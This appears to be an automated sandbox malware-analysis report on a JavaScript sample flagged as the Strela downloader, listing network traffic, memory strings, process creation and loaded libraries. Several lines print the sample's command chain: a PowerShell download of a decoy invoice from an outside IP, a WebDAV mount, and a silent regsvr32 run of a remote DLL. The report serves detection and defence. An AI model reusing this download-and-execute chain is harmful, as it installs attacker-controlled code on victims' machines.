Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49713

Source: global traffic

TCP traffic: 192.168.2.6:49713 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.6:53159 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49711 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000002.2124576592.000001DCA4318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2182749127.000001C722B94000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182671863.000001C722B58000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182872695.000001C722BB0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2181050810.000001C722B94000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2180010423.000001C722BAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2182749127.000001C722B94000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2181050810.000001C722B94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/8)
Source: net.exe, 00000007.00000002.2182671863.000001C722B58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/J
Source: svchost.exe, 00000009.00000002.3403538003.000002A58F000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2180733411.000002A58ED80000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5480, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 599461291572316126.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5060

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5012:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b31ajx5a.qto.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\599461291572316126.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1636,i,3623783561045956600,1222164266513190760,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1636,i,3623783561045956600,1222164266513190760,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
